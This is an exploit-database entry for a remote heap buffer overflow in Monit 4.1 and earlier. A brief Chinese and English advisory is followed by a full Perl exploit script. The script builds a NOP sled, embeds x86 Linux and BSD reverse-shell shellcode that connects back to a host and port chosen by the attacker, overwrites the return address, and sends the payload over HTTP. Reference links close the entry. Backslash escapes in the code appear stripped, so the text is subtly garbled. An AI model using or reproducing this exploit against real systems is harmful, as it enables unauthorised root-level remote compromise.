https://www.exploit-db.com/exploits/23397
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200312-348

Monit1.4版本到4.1版本存在基于堆的缓冲区溢出漏洞。远程攻击者可以借助超长HTTP请求执行任意代码。

source: http://www.securityfocus.com/bid/9099/info

A buffer overrun vulnerability has been discovered in Monit 4.1 and earlier that could be exploited remotely to gain root privileges. The problem occurs due to insufficient bounds checking when handling overly long HTTP requests. As a result, it may be possible for a remote attacker to corrupt sensitive process data in such a way that the execution flow of Monit can be controlled.

Successful exploitation of this condition could potentially allow for the execution of arbitrary code with root privileges. 

// Michel, http://www.cycom.se

#!/usr/bin/perl
#
# Monit 4.1 (possibly earlier too) remote shell exploit (HTTP)
# (C) 2004 by Shadowinteger <[email protected]>
#
# Verbatim copying, distribution and/or modification of this
# code is permitted without restriction.
#
# THIS SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
# KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
# WARRANTIES  OF  MERCHANTABILITY,  FITNESS FOR A PARTICULAR
# PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS
# OR  COPYRIGHT  HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
# OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
# OTHERWISE,  ARISING FROM, OUT OF OR IN CONNECTION WITH THE
# SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
#
# You may have to install Math::XOR for this to run, e.g.:
# $ perl -MCPAN -e "install Math::XOR"
#
# Acknowledgments: Sabu, Nullbyte
#

use POSIX;
use Getopt::Std;
use IO::Socket::INET;
use Math::XOR;
use strict;

sub usage {
    print "usage: sploit [-a 0xbf7ff9e4] [-o 250] target_host [port]n" .
          "  -a address   ret address to make eipn" .
          "  -o offset    offset to subtract from address before injecting itn" .
          "  -c hostname  choose hostname to have the shellcode connect back to, defaultn" .
          "               is localhostn" .
          "  -p port      choose port to have the shellcode connect back to, default isn" .
          "               31337.n" .
          "  -B           use x86 *BSD shellcode instead of x86 Linuxn" .
          "The default address is 0xbf7ff9e4 and the default offset to subtract from thatn" .
          "address is 250, this works under Slackware 8.1 with default ./configuren" .
          "compilation options. You may have to do some research for your system, gdb isn" .
          "your friend, e.g. "gdb process pid_of_monit_httpd".n";
    exit 1;
}

# pre_shellcode was added to make sure the stack doesn't write into our
# shellcode
my $pre_shellcode = "x83xC4x40";  # add esp, byte 0x40

my $linux_shellcode = # shadowinteger's reverse shellcode (sishell, x86 linux)
"xebx74x5dx6ax06x6ax01x6ax02x8dx1cx24x89xd9x31xdb" .
"xb3x01x31xc0xb0x66xcdx80x89xc7x83xecx08x31xc9xc6" .
"x04x24x02x88x4cx24x01xb8x80xffxffxfex35xffxffxff" .
"xffx66xc7x44x24x02x7ax69x89x44x24x04x8dx04x24x83" .
"xecx10x89x3cx24x89x44x24x04x31xc0xb0x10x89x44x24" .
"x08x31xc0xb0x66x31xdbxb3x03x8dx14x24x89xd1xcdx80" .
"x85xc0x78x3cx31xc9x31xc0xb0x3fx89xfbxcdx80x41x80" .
"xf9x02x77x04xebxf0xebx2fx83xecx10x8dx44x24x08x89" .
"x04x24x31xdbx89x5cx24x04x89x5cx24x08x88x5dx07x89" .
"xebx8dx14x24x89xd1x31xd2x31xc0xb0x0ex2cx03xcdx80" .
"x31xc0x89xc3x40xcdx80xe8x56xffxffxffx2fx62x69x6e" .
"x2fx73x68x24";
my $lin_IP_OFFSET = 40;
my $lin_PORT_OFFSET = 54;
my $lin_XOR = 0xffffffff;   # number to xor the ip address with


my $bsd_shellcode = # shadowinteger's reverse shellcode (sishell, x86 bsd)
"xebx55x5dx6ax06x6ax01x6ax02x31xc0xb0x61x50xcdx80" .
"x89xc7x83xecx08x31xc9xc6x04x24x02x88x4cx24x01xb8" .
"x80xffxffxfex35xffxffxffxffx66xc7x44x24x02x7ax69" .
"x89x44x24x04x8dx04x24x6ax10x50x57x31xc0xb0x62x50" .
"xcdx80x72x3bx31xc9x51x57x31xc0xb0x5ax50xcdx80x41" .
"x80xf9x02x77x04xebxefxebx2ex83xecx10x8dx44x24x08" .
"x89x04x24x31xdbx89x5cx24x04x89x5cx24x08x8dx14x24" .
"x89xd1x53x51x88x5dx07x55x31xc0xb0x3bx50xcdx80x31" .
"xc0x50xfexc0x50xcdx80xe8x76xffxffxffx2fx62x69x6e" .
"x2fx73x68x24";
my $bsd_IP_OFFSET = 32;
my $bsd_PORT_OFFSET = 46;
my $bsd_XOR = 0xffffffff;


# just define these here, since we're "strict"
my $shellcode;
my $IP_OFFSET;
my $PORT_OFFSET;
my $XOR;


# set up defaults

my $offset = 250; # offset to back-track (subtract) from $address
my $address = 0xbf7ff9e4;

my $target = "localhost";
my $port = 2812;

my $callback_host = "localhost";
my $callback_port = pack('n', 31337);


# handle options

my %options = ();
getopts("a:o:c:p:Bh", %options);

if ( defined $options{h} ) {
    usage();
}
if ( ! $ARGV[0]) {
    usage();
} else {
    if ( length($ARGV[0]) > 0 ) {
        $target = $ARGV[0];
    }
}
if ( $ARGV[1]) {
    $port = $ARGV[1];
}

# if -B option is present, define $bsd
my $bsd = "yes" if defined $options{B};

if ( defined $options{a} ) {
    $address = hex($options{a});
}
if ( defined $options{o} ) {
    $offset = $options{o};
}
if ( defined $options{c} ) {
    if ( length($options{c}) > 0 ) {
        $callback_host = $options{c};
    }
}
if ( defined $options{p} ) {
    $callback_port = pack('n', $options{p});
}


# set up shellcode pointers... linux or bsd?

if ( defined $bsd ) {
    $shellcode = $bsd_shellcode;
    $IP_OFFSET = $bsd_IP_OFFSET;
    $PORT_OFFSET = $bsd_PORT_OFFSET;
    $XOR = $bsd_XOR;
} else {
    $shellcode = $linux_shellcode;
    $IP_OFFSET = $lin_IP_OFFSET;
    $PORT_OFFSET = $lin_PORT_OFFSET;
    $XOR = $lin_XOR;
}


# resolve hostname
my $callback_ip = gethostbyname($callback_host);

# insert resolved connect back address into shellcode
substr($shellcode, $IP_OFFSET, 4, xor_buf($callback_ip, pack('l',$XOR)));

# insert port into shellcode (short network order)
substr($shellcode, $PORT_OFFSET, 2, $callback_port);

# decode (un-xor) IP address in shellcode and print it to stdout
# don't uncomment, it's just an example
# print xor_buf(substr($shellcode, $IP_OFFSET, 4), pack('l',$XOR));


# calculate address and make it binary

my $eip = $address - $offset;
my $bin_eip = pack('l', $eip);

# cruft is our parsed payload:
# [ NOPNOPNOPNOP ] [ PRE ] [ SHELLCODE ] [ ADDR ] [ ADDR ]
#        ^
#  ideal jump address
#
my $cruft = "x90" x (256 - length($pre_shellcode . $shellcode)) .
            $pre_shellcode . $shellcode . $bin_eip x 2;

# build HTTP request, there's nothing more to it than to add a double linefeed
my $request = $cruft . "nn";

#
# print banner and get started
#
print '-?? Monit 4.1 remote shell exploit (HTTP)'."n";
print '??- (C) 2004 Shadowinteger <[email protected]'."n";

if ( defined $bsd ) {
    print "[i] using x86 *BSD shellcode (sishell)n";
} else {
    print "[i] using x86 Linux shellcode (sishell)n";
}

printf("[i] using ret address: 0x%xn", $eip);

print "[i] shellcode will connect to " . inet_ntoa($callback_ip) .
      ", port " . unpack('n', $callback_port) . "n";

print "[i] attacking " . $target . ", port " . $port . "n";
print "[+] connecting to target...n";

my $socket = 0;
$socket = IO::Socket::INET -> new( PeerAddr => $target,
                                   PeerPort => $port,
                                   Proto    => "tcp" );
if (!defined($socket)) {
    print "[?] no connection!n";
    exit 1;
}

print "[i] connection establishedn";

print "[+] injecting shellcode...n";
print $socket $request;
sleep(3);
print "[i] donen";
close $socket;
exit 0;
## EOF

来源:US-CERTVulnerabilityNote:VU#623854
名称:VU#623854
链接:http://www.kb.cert.org/vuls/id/623854
来源:XF
名称:monit-http-bo(13817)
链接:http://xforce.iss.net/xforce/xfdb/13817
来源:BID
名称:9099
链接:http://www.securityfocus.com/bid/9099
来源:GENTOO
名称:GLSA-200403-14
链接:http://security.gentoo.org/glsa/glsa-200403-14.xml
来源:SECUNIA
名称:10280
链接:http://secunia.com/advisories/10280
来源:www.tildeslash.com
链接:http://www.tildeslash.com/monit/dist/CHANGES.txt
来源:BUGTRAQ
名称:20031124Monit4.1HTTPinterfacemultiplesecurityvulnerabilities
链接:http://www.securityfocus.com/archive/1/345417